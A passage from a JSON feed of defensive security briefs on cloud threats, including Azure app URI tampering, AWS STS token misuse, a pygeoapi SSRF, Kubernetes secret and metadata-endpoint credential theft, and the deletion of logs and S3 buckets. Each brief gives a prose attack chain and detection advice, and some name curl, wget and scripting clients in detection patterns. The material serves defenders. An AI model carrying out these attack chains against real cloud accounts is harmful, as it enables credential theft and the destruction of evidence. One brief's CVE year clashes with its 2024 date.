environment, focusing on identifying legitimate administrator activity to reduce false positives.\u003c/li\u003e\n\u003cli\u003eInvestigate any detected instance of service principal removal, focusing on the user identity, user agent, and hostname from the Azure Activity Logs to determine legitimacy.\u003c/li\u003e\n\u003cli\u003eReview Azure AD audit logs for related activities occurring before and after the service principal removal.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:27:00Z","date_published":"2024-01-03T14:27:00Z","id":"/briefs/2024-01-azure-service-principal-removed/","summary":"Detection of a service principal removal in Azure, potentially indicating malicious activity or an attempt to remove evidence of a compromise.","title":"Azure Service Principal Removal Detection","url":"https://feed.craftedsignal.io/briefs/2024-01-azure-service-principal-removed/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Azure Active Directory"],"_cs_severities":["high"],"_cs_tags":["cloud","azure","application","uri","modification","persistence","credential-access","privilege-escalation"],"_cs_type":"advisory","_cs_vendors":["Microsoft"],"content_html":"\u003cp\u003eAttackers may modify application URIs within Azure Active Directory to redirect users or applications to malicious resources, obtain unauthorized access, or establish persistence. The modification of an application\u0026rsquo;s URI can be a subtle but effective technique for gaining a foothold in an environment. By manipulating the URI settings, attackers can redirect traffic to attacker-controlled servers, intercept credentials, or perform other malicious actions. This activity is often difficult to detect because it can blend in with legitimate administrative tasks. Investigation is merited if URIs for domain names no longer exist, are not using HTTPS, have wildcards at the end of the domain, are not unique to that app, or point to domains that the organization does not control.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to an Azure account with sufficient privileges to modify application registrations.\u003c/li\u003e\n\u003cli\u003eThe attacker navigates to the Azure Active Directory portal.\u003c/li\u003e\n\u003cli\u003eThe attacker locates a target application registration.\u003c/li\u003e\n\u003cli\u003eThe attacker modifies the application\u0026rsquo;s URI settings, such as the reply URLs or identifier URIs.\u003c/li\u003e\n\u003cli\u003eThe attacker configures the URI to point to a malicious server or a phishing page.\u003c/li\u003e\n\u003cli\u003eUsers or applications are redirected to the malicious URI when attempting to authenticate or access the application.\u003c/li\u003e\n\u003cli\u003eThe attacker intercepts credentials or performs other malicious actions.\u003c/li\u003e\n\u003cli\u003eThe attacker establishes persistence by maintaining control over the application\u0026rsquo;s URI settings.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eA successful attack could lead to credential theft, data breaches, or unauthorized access to sensitive resources. By compromising application URIs, attackers can redirect users to phishing pages, intercept credentials, or gain a foothold in the environment for further exploitation. This activity can be difficult to detect and can have a significant impact on the organization\u0026rsquo;s security posture.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eApplication URI Configuration Changes\u003c/code\u003e to your SIEM to detect suspicious modifications to application URIs in Azure Audit Logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts generated by the Sigma rule \u003ccode\u003eApplication URI Configuration Changes\u003c/code\u003e to determine if the URI modification is legitimate or malicious.\u003c/li\u003e\n\u003cli\u003eMonitor Azure Audit Logs for any changes to application URI settings (as indicated by \u003ccode\u003eproperties.message: Update Application Sucess- Property Name AppAddress\u003c/code\u003e) and validate the legitimacy of the changes.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T14:21:00Z","date_published":"2024-01-03T14:21:00Z","id":"/briefs/2024-01-03-azure-app-uri-modification/","summary":"Detection of Azure application URI modifications that can be indicative of malicious activity, such as using dangling URIs, non-HTTPS URIs, wildcard domains, or URIs pointing to uncontrolled domains, potentially leading to initial access, stealth, persistence, credential access, and privilege escalation.","title":"Azure Application URI Configuration Modification","url":"https://feed.craftedsignal.io/briefs/2024-01-03-azure-app-uri-modification/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail"],"_cs_severities":["medium"],"_cs_tags":["aws","cloud","lateral-movement","privilege-escalation","sts","GetSessionToken"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe AWS Security Token Service (STS) GetSessionToken API allows IAM users to create temporary security credentials. Attackers can abuse this functionality by generating tokens with elevated privileges or for lateral movement within an AWS environment if an IAM user\u0026rsquo;s credentials have been compromised. This activity can be difficult to detect as GetSessionToken is a legitimate function, but unusual patterns or IAM users generating tokens where it is not expected should be investigated. This activity is of particular concern because it bypasses normal IAM role assumption logging and creates a separate credential for an attacker to abuse, making access more difficult to track. The impact is significant, allowing attackers to perform actions as the compromised IAM user or escalate privileges.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains initial access to an AWS environment, potentially through compromised IAM user credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to AWS using the compromised IAM user credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker calls the STS GetSessionToken API, specifying desired permissions or roles (if permitted by the IAM user\u0026rsquo;s policies).\u003c/li\u003e\n\u003cli\u003eAWS STS generates a new set of temporary credentials (access key ID, secret access key, and session token).\u003c/li\u003e\n\u003cli\u003eThe attacker configures their AWS CLI or SDK to use the newly acquired temporary credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker leverages these temporary credentials to perform actions within the AWS environment, potentially escalating privileges or moving laterally.\u003c/li\u003e\n\u003cli\u003eThe attacker covers their tracks by deleting the CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates sensitive data, deploys malware, or causes disruption within the AWS environment using the acquired privileges.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromised AWS environments can lead to data breaches, service disruptions, and financial losses. Successful exploitation via GetSessionToken misuse allows attackers to move laterally, escalate privileges, and perform unauthorized actions within the AWS infrastructure. The number of affected organizations is currently unknown, but any organization relying on AWS is potentially at risk. If successful, attackers can steal sensitive data, compromise critical systems, and disrupt business operations.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS STS GetSessionToken Misuse\u0026rdquo; to your SIEM to detect suspicious GetSessionToken API calls (see rules section).\u003c/li\u003e\n\u003cli\u003eInvestigate GetSessionToken calls where \u003ccode\u003euserIdentity.type\u003c/code\u003e is \u003ccode\u003eIAMUser\u003c/code\u003e to determine if the request is legitimate.\u003c/li\u003e\n\u003cli\u003eMonitor CloudTrail logs for unusual patterns of GetSessionToken usage, particularly from unfamiliar user agents or hosts.\u003c/li\u003e\n\u003cli\u003eImplement strong IAM policies and MFA to minimize the risk of compromised IAM user credentials.\u003c/li\u003e\n\u003cli\u003eReview the false positives section of the Sigma rule to tune the rule for your specific environment.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-03-aws-sts-getsessiontoken-misuse/","summary":"The AWS STS GetSessionToken API is being misused to create temporary tokens for lateral movement and privilege escalation within AWS environments by potentially compromised IAM users.","title":"Suspicious AWS STS GetSessionToken Usage","url":"https://feed.craftedsignal.io/briefs/2024-01-03-aws-sts-getsessiontoken-misuse/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["pygeoapi (0.23.0 - 0.23.2)"],"_cs_severities":["high"],"_cs_tags":["pygeoapi","ssrf","ogc api","cve-2026-42352","vulnerability","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003epygeoapi versions 0.23.0, 0.23.1, and 0.23.2 are vulnerable to Server-Side Request Forgery (SSRF). The vulnerability stems from the OGC API - Processes functionality, specifically how it handles the \u003ccode\u003esubscriber\u003c/code\u003e object during process execution. An unauthenticated attacker can exploit this flaw to send requests to internal HTTP services, potentially gaining access to sensitive information or triggering unintended actions within the internal network. This issue was patched in version 0.23.3 by disabling internal HTTP requests by default, unless explicitly allowed in the configuration. The patch includes the introduction of an \u003ccode\u003eallow_internal_requests\u003c/code\u003e directive for administrators who require this functionality. This vulnerability poses a significant risk to organizations using affected versions of pygeoapi.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn unauthenticated attacker identifies a pygeoapi instance running a vulnerable version (0.23.0 - 0.23.2).\u003c/li\u003e\n\u003cli\u003eThe attacker crafts a malicious OGC API process execution request.\u003c/li\u003e\n\u003cli\u003eWithin the request, the attacker manipulates the \u003ccode\u003esubscriber\u003c/code\u003e object.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003esubscriber\u003c/code\u003e object is configured to target an internal HTTP service by specifying the internal service\u0026rsquo;s address.\u003c/li\u003e\n\u003cli\u003epygeoapi processes the request without proper validation of the \u003ccode\u003esubscriber\u003c/code\u003e object\u0026rsquo;s target.\u003c/li\u003e\n\u003cli\u003epygeoapi initiates an HTTP request to the attacker-specified internal service.\u003c/li\u003e\n\u003cli\u003eThe internal service responds to pygeoapi.\u003c/li\u003e\n\u003cli\u003epygeoapi may then relay information received from the internal service back to the attacker, or the attacker might be able to trigger actions based on the SSRF.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation of this SSRF vulnerability allows an unauthenticated attacker to interact with internal HTTP services that should not be publicly accessible. This can lead to the disclosure of sensitive information, such as internal configurations, API keys, or customer data. The attacker may also be able to trigger actions on the internal services, potentially leading to service disruption or data manipulation. The severity of the impact depends on the nature and security posture of the internal services exposed by this vulnerability.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpgrade to pygeoapi version 0.23.3 or later to remediate CVE-2026-42352.\u003c/li\u003e\n\u003cli\u003eApply the provided patch \u003ca href=\"https://github.com/geopython/pygeoapi/commit/3a63f5b0cc6275e3ae0edb47726b13a43cdd90ef\"\u003e3a63f5b0cc6275e3ae0edb47726b13a43cdd90ef\u003c/a\u003e if upgrading is not immediately feasible.\u003c/li\u003e\n\u003cli\u003eIf upgrading or patching is not immediately feasible, disable process-based resources in the pygeoapi configuration as a workaround.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-pygeoapi-ssrf/","summary":"pygeoapi versions 0.23.0 to 0.23.2 contain an unauthenticated server-side request forgery (SSRF) vulnerability where OGC API process execution requests can use the subscriber object to make requests to internal HTTP services, which is resolved in version 0.23.3 by disabling internal requests by default.","title":"pygeoapi Unauthenticated SSRF Vulnerability in OGC API - Processes Subscriber","url":"https://feed.craftedsignal.io/briefs/2024-01-pygeoapi-ssrf/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["kubernetes"],"_cs_severities":["high"],"_cs_tags":["kubernetes","credential-access","cloud"],"_cs_type":"advisory","_cs_vendors":[],"content_html":"\u003cp\u003eThis rule identifies suspicious access patterns to Kubernetes Secrets. Attackers may attempt to retrieve secrets containing sensitive information such as credentials, API keys, and other confidential data. This detection focuses on identifying access attempts originating from clients with non-standard user agents, such as scripting runtimes (Python, Perl, PHP), basic HTTP tools (curl, wget), or those associated with penetration testing distributions (Kali Linux). Legitimate access typically involves stable, purpose-built user agents. This detection helps uncover potential credential access attempts that bypass standard access controls. The rule specifically triggers on \u003ccode\u003eget\u003c/code\u003e and \u003ccode\u003elist\u003c/code\u003e actions against Kubernetes secrets, coupled with a suspicious \u003ccode\u003euser_agent.original\u003c/code\u003e and a populated \u003ccode\u003esource.ip\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a compromised host or pod within the Kubernetes cluster or an external system with network access to the Kubernetes API server.\u003c/li\u003e\n\u003cli\u003eThe attacker crafts HTTP requests to the Kubernetes API server to enumerate available secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker uses tooling such as \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ewget\u003c/code\u003e, or custom scripts with user agents like \u003ccode\u003epython-requests\u003c/code\u003e or \u003ccode\u003eGo-http-client\u003c/code\u003e to interact with the API.\u003c/li\u003e\n\u003cli\u003eThe attacker sends a \u003ccode\u003eGET\u003c/code\u003e or \u003ccode\u003eLIST\u003c/code\u003e request to the \u003ccode\u003e/api/v1/namespaces/{namespace}/secrets/{name}\u003c/code\u003e endpoint to retrieve specific secrets or list all secrets in a namespace.\u003c/li\u003e\n\u003cli\u003eThe Kubernetes API server authenticates and authorizes the request based on the attacker\u0026rsquo;s assigned RBAC roles, potentially using impersonation.\u003c/li\u003e\n\u003cli\u003eIf authorized, the API server returns the secret data in the response.\u003c/li\u003e\n\u003cli\u003eThe attacker extracts sensitive information like passwords, tokens, or API keys from the retrieved secrets.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the compromised credentials to escalate privileges, move laterally within the cluster, or access external resources.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful exploitation allows attackers to steal sensitive information stored in Kubernetes secrets, leading to privilege escalation, lateral movement, and unauthorized access to critical systems and data. Compromised credentials can be used to access external cloud resources or internal services. The impact depends on the sensitivity of the secrets, but can include data breaches, service disruptions, and significant financial loss.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Secret get or list with Suspicious User Agent\u003c/code\u003e to your SIEM to detect suspicious access to Kubernetes secrets.\u003c/li\u003e\n\u003cli\u003eInvestigate any alerts triggered by the Sigma rule, focusing on the user identity (\u003ccode\u003euser.name\u003c/code\u003e), targeted namespace (\u003ccode\u003ekubernetes.audit.objectRef.namespace\u003c/code\u003e), and source IP (\u003ccode\u003esource.ip\u003c/code\u003e).\u003c/li\u003e\n\u003cli\u003eBaseline expected user agents for legitimate automation and add exceptions to the detection rule for known good traffic.\u003c/li\u003e\n\u003cli\u003eRotate affected secrets and credentials, revoke tokens, and tighten RBAC if unauthorized access is detected.\u003c/li\u003e\n\u003cli\u003eBlock or isolate the source host at the network edge to the API server where appropriate, based on \u003ccode\u003esource.ip\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eMonitor \u003ccode\u003ekubernetes.audit.annotations.authorization_k8s_io/decision\u003c/code\u003e to identify unauthorized attempts to access secrets.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-03-kubernetes-secret-access/","summary":"Detects read access to Kubernetes Secrets (`get`/`list`) with a user agent matching a curated set of non-standard or attacker-leaning clients, indicating potential credential access.","title":"Kubernetes Secret Access with Suspicious User Agent","url":"https://feed.craftedsignal.io/briefs/2024-01-03-kubernetes-secret-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS IMDS","GCP Compute Metadata","Azure IMDS"],"_cs_severities":["high"],"_cs_tags":["kubernetes","cloud","credential_access","execution"],"_cs_type":"advisory","_cs_vendors":["AWS","Google","Azure"],"content_html":"\u003cp\u003eThis alert focuses on detecting Kubernetes pod exec sessions that attempt to access cloud instance metadata endpoints. The activity is flagged when the decoded command line of a pod exec session contains references to cloud instance metadata services across AWS, GCP, and Azure. Attackers may exploit this to harvest role credentials, tokens, or instance attributes from the underlying node or hypervisor. This is a high-risk behavior because it can expose short-lived cloud credentials to code running inside a container, particularly concerning in multi-tenant and regulated environments. This detection classifies the cloud target and whether the command indicates credential theft or reconnaissance.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAttacker gains initial access to a Kubernetes cluster.\u003c/li\u003e\n\u003cli\u003eAttacker identifies a vulnerable pod within the cluster.\u003c/li\u003e\n\u003cli\u003eThe attacker uses \u003ccode\u003ekubectl exec\u003c/code\u003e to gain shell access to the pod.\u003c/li\u003e\n\u003cli\u003eInside the pod, the attacker crafts a command-line request targeting the cloud instance metadata service (IMDS) endpoint.\u003c/li\u003e\n\u003cli\u003eThe command, often using \u003ccode\u003ecurl\u003c/code\u003e or \u003ccode\u003ewget\u003c/code\u003e, attempts to retrieve sensitive information such as IAM roles, tokens, or instance attributes.\u003c/li\u003e\n\u003cli\u003eThe IMDS responds with the requested data, which may include credentials or configuration details.\u003c/li\u003e\n\u003cli\u003eThe attacker exfiltrates the stolen credentials or uses them to escalate privileges within the cloud environment.\u003c/li\u003e\n\u003cli\u003eAttacker uses the harvested credentials to move laterally, compromise other cloud resources, or exfiltrate sensitive data.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromised credentials can lead to unauthorized access to sensitive data, lateral movement within the cloud environment, and potential data exfiltration. A successful attack could impact multiple organizations sharing the same Kubernetes cluster. The impact could include financial losses, reputational damage, and regulatory fines, depending on the type of data compromised and the extent of the breach.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u003ccode\u003eKubernetes Pod Exec IMDS Access\u003c/code\u003e to detect suspicious command-line activity within Kubernetes pods.\u003c/li\u003e\n\u003cli\u003eBlock access to the cloud instance metadata endpoints (169.254.169.254) from within Kubernetes pods using network policies.\u003c/li\u003e\n\u003cli\u003eRegularly review and tighten RBAC permissions related to \u003ccode\u003epods/exec\u003c/code\u003e to limit the ability of attackers to gain shell access.\u003c/li\u003e\n\u003cli\u003eMonitor cloud audit logs for suspicious STS or token issuance events correlated with Kubernetes pod exec events.\u003c/li\u003e\n\u003cli\u003eImplement workload identity solutions to avoid the need to expose instance metadata to pods.\u003c/li\u003e\n\u003cli\u003eBaseline approved images and tune exclusions narrowly to avoid false positives.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-kubernetes-metadata-access/","summary":"Detection of Kubernetes pod exec sessions accessing cloud instance metadata endpoints, indicating potential credential theft from AWS, GCP, or Azure.","title":"Kubernetes Pod Exec Cloud Instance Metadata Access","url":"https://feed.craftedsignal.io/briefs/2024-01-kubernetes-metadata-access/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["Elastic Compute Cloud (EC2)"],"_cs_severities":["high"],"_cs_tags":["cloud","aws","defense-evasion","vpc","flow-logs"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eAn adversary with sufficient privileges within an AWS environment may attempt to delete VPC Flow Logs. These logs are crucial for monitoring network traffic within a VPC, and their removal can significantly impede incident response and forensic investigations. The deletion is accomplished by making a \u003ccode\u003eDeleteFlowLogs\u003c/code\u003e API call. This action is often taken to remove evidence of malicious activity, such as lateral movement, command and control communication, or data exfiltration. The impact of this activity can be severe, potentially allowing attackers to operate undetected for extended periods.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eThe attacker gains initial access to the AWS environment through compromised credentials or an exploited vulnerability (not detailed in source).\u003c/li\u003e\n\u003cli\u003eThe attacker escalates privileges within the AWS environment to gain the necessary permissions to delete VPC Flow Logs (not detailed in source).\u003c/li\u003e\n\u003cli\u003eThe attacker uses the AWS CLI or AWS Management Console to execute the \u003ccode\u003eDeleteFlowLogs\u003c/code\u003e API call.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies the specific Flow Log IDs that need to be deleted.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the AWS API using stolen or generated credentials.\u003c/li\u003e\n\u003cli\u003eThe \u003ccode\u003eDeleteFlowLogs\u003c/code\u003e API call is made, specifying the Flow Log IDs to be deleted.\u003c/li\u003e\n\u003cli\u003eAWS processes the request and deletes the specified VPC Flow Logs.\u003c/li\u003e\n\u003cli\u003eThe attacker verifies the deletion of the Flow Logs to ensure that their actions are no longer being logged.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eSuccessful deletion of VPC Flow Logs prevents security teams from detecting malicious activity within the AWS environment. Without these logs, it becomes significantly more difficult to investigate security incidents, track attacker movements, and understand the scope of a compromise. This can lead to delayed incident response, increased dwell time for attackers, and greater overall damage. The absence of flow logs severely limits network visibility, hindering any attempt to reconstruct events or identify compromised assets.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eImplement the Sigma rule \u0026ldquo;AWS VPC Flow Logs Deleted\u0026rdquo; to detect instances of \u003ccode\u003eDeleteFlowLogs\u003c/code\u003e API calls (reference: rules section).\u003c/li\u003e\n\u003cli\u003eMonitor CloudTrail logs for \u003ccode\u003eDeleteFlowLogs\u003c/code\u003e events and investigate any unexpected occurrences (reference: logsource).\u003c/li\u003e\n\u003cli\u003eEnforce the principle of least privilege to restrict IAM users and roles from having the \u003ccode\u003eec2:DeleteFlowLogs\u003c/code\u003e permission unless absolutely necessary.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all AWS accounts, especially those with administrative privileges.\u003c/li\u003e\n\u003cli\u003eRegularly review and audit IAM policies to ensure that permissions are appropriately scoped and not overly permissive.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-03T12:00:00Z","date_published":"2024-01-03T12:00:00Z","id":"/briefs/2024-01-03-aws-vpc-flow-logs-deleted/","summary":"An adversary may delete VPC Flow Logs in AWS EC2 by calling the DeleteFlowLogs API to evade detection and hinder forensic investigations.","title":"AWS VPC Flow Logs Deletion for Defense Evasion","url":"https://feed.craftedsignal.io/briefs/2024-01-03-aws-vpc-flow-logs-deleted/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS CloudTrail"],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","privilege-escalation","initial-access","persistence","stealth"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe use of the AWS root account should be strictly limited to specific tasks that cannot be performed with IAM users or roles. This alert indicates that the root account was used, which could signify various security concerns. An attacker with access to the root account can perform any action within the AWS environment, including creating new users, modifying security policies, accessing sensitive data, and deleting resources. Defenders should investigate each instance of root account usage to determine legitimacy. This activity may also indicate a misconfiguration where IAM roles should be used.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains access to the AWS root account credentials through credential theft or other means.\u003c/li\u003e\n\u003cli\u003eThe attacker authenticates to the AWS Management Console or uses the AWS CLI with the root account credentials.\u003c/li\u003e\n\u003cli\u003eThe attacker enumerates AWS resources to identify potential targets for privilege escalation.\u003c/li\u003e\n\u003cli\u003eThe attacker creates or modifies IAM policies to grant themselves additional permissions.\u003c/li\u003e\n\u003cli\u003eThe attacker may create new IAM users or roles with elevated privileges.\u003c/li\u003e\n\u003cli\u003eThe attacker uses the elevated privileges to access sensitive data stored in S3 buckets or other AWS services.\u003c/li\u003e\n\u003cli\u003eThe attacker modifies security configurations, such as network access control lists or security groups, to facilitate lateral movement or data exfiltration.\u003c/li\u003e\n\u003cli\u003eThe attacker could disable logging features to cover tracks.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eCompromise of the AWS root account can lead to a complete breach of the AWS environment, resulting in unauthorized access to sensitive data, data loss, service disruption, and potential financial losses. Attackers can leverage root privileges to perform nearly any action within the AWS account, affecting all services and resources. The number of affected victims depends on the scope and criticality of the AWS environment.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the Sigma rule \u0026ldquo;AWS Root Credentials\u0026rdquo; to your SIEM to detect root account usage based on CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eInvestigate all instances of root account usage identified by the \u0026ldquo;AWS Root Credentials\u0026rdquo; Sigma rule to determine legitimacy.\u003c/li\u003e\n\u003cli\u003eEnforce multi-factor authentication (MFA) on all AWS accounts, including the root account, as documented in \u003ca href=\"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html\"\u003eAWS documentation\u003c/a\u003e.\u003c/li\u003e\n\u003cli\u003eImplement the principle of least privilege by granting IAM users and roles only the permissions they need to perform their tasks.\u003c/li\u003e\n\u003cli\u003eRegularly audit IAM policies and user permissions to identify and remove unnecessary privileges.\u003c/li\u003e\n\u003cli\u003eDisable or restrict root account access wherever possible, delegating tasks to IAM users/roles.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T14:30:00Z","date_published":"2024-01-02T14:30:00Z","id":"/briefs/2024-01-02-aws-root-usage/","summary":"The AWS root account, which grants unrestricted access to all resources within an AWS account, was used, potentially indicating unauthorized activity, privilege escalation, or a breach of security best practices.","title":"AWS Root Account Usage Detected","url":"https://feed.craftedsignal.io/briefs/2024-01-02-aws-root-usage/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["S3"],"_cs_severities":["medium"],"_cs_tags":["cloud","aws","s3","data_loss"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe deletion of S3 buckets is a critical event to monitor in AWS environments. While legitimate administrative actions may involve bucket deletion, unauthorized or accidental removal of buckets can lead to significant data loss and business disruption. This brief focuses on detecting such events through AWS CloudTrail logs, which record API calls made within the AWS infrastructure. Monitoring for \u003ccode\u003eDeleteBucket\u003c/code\u003e events helps identify potential malicious activity or unintentional misconfigurations that could compromise data availability and integrity. This detection focuses on identifying DeleteBucket API calls, successful or otherwise, within CloudTrail logs to provide early warning of potential data compromise.\u003c/p\u003e\n\u003ch2 id=\"attack-chain\"\u003eAttack Chain\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003eAn attacker gains unauthorized access to an AWS account through compromised credentials or a privilege escalation exploit.\u003c/li\u003e\n\u003cli\u003eThe attacker lists existing S3 buckets to identify potential targets using the \u003ccode\u003eListBuckets\u003c/code\u003e API call.\u003c/li\u003e\n\u003cli\u003eThe attacker identifies a target S3 bucket containing sensitive data.\u003c/li\u003e\n\u003cli\u003eThe attacker attempts to delete the target S3 bucket by issuing a \u003ccode\u003eDeleteBucket\u003c/code\u003e API call using the AWS CLI or SDK.\u003c/li\u003e\n\u003cli\u003eCloudTrail logs the \u003ccode\u003eDeleteBucket\u003c/code\u003e event, including the user identity, timestamp, and bucket name.\u003c/li\u003e\n\u003cli\u003eIf successful, the S3 bucket and its contents are permanently deleted.\u003c/li\u003e\n\u003cli\u003eThe attacker may attempt to remove CloudTrail logs to cover their tracks, using the \u003ccode\u003eDeleteTrail\u003c/code\u003e API call.\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"impact\"\u003eImpact\u003c/h2\u003e\n\u003cp\u003eThe deletion of an S3 bucket results in the permanent loss of all data stored within that bucket. This can lead to service disruption, data breaches, and financial losses, especially if the bucket contained critical business data or backups. The impact can range from temporary inconvenience to complete business failure depending on the criticality of the data lost and the organization\u0026rsquo;s backup and recovery capabilities. Without proper monitoring and alerting, an S3 bucket deletion can go unnoticed for extended periods, hindering incident response efforts and potentially exacerbating the damage.\u003c/p\u003e\n\u003ch2 id=\"recommendation\"\u003eRecommendation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eDeploy the provided Sigma rule to your SIEM to detect S3 bucket deletion events in CloudTrail logs.\u003c/li\u003e\n\u003cli\u003eInvestigate any detected \u003ccode\u003eDeleteBucket\u003c/code\u003e events to verify their legitimacy and ensure they were authorized by appropriate personnel.\u003c/li\u003e\n\u003cli\u003eImplement multi-factor authentication (MFA) for all AWS accounts to prevent unauthorized access and reduce the risk of credential compromise.\u003c/li\u003e\n\u003cli\u003eEnforce strict IAM policies and regularly review user permissions to minimize the blast radius of compromised accounts.\u003c/li\u003e\n\u003cli\u003eEnable versioning on S3 buckets to allow for the recovery of accidentally deleted objects, mitigating the impact of data loss.\u003c/li\u003e\n\u003cli\u003eImplement data backup and disaster recovery plans to ensure business continuity in the event of a successful bucket deletion attack.\u003c/li\u003e\n\u003c/ul\u003e\n","date_modified":"2024-01-02T14:27:00Z","date_published":"2024-01-02T14:27:00Z","id":"/briefs/2024-01-aws-bucket-deletion/","summary":"An AWS S3 bucket deletion event was detected via CloudTrail logs, potentially indicating data loss or unauthorized access attempts.","title":"AWS S3 Bucket Deletion Detected via CloudTrail","url":"https://feed.craftedsignal.io/briefs/2024-01-aws-bucket-deletion/"},{"_cs_actors":[],"_cs_cves":[],"_cs_exploited":false,"_cs_products":["AWS IAM"],"_cs_severities":["high"],"_cs_tags":["aws","cloud","iam","s3browser","privilege-escalation","persistence"],"_cs_type":"advisory","_cs_vendors":["Amazon"],"content_html":"\u003cp\u003eThe threat involves the use of the S3 Browser utility, a Windows application, to interact with Amazon Web Services (AWS) Identity and Access Management (IAM). Attackers are leveraging S3 Browser to perform reconnaissance, specifically targeting IAM users that do not have a login profile configured. Upon identifying such users, the attacker proceeds to create a login profile for them. 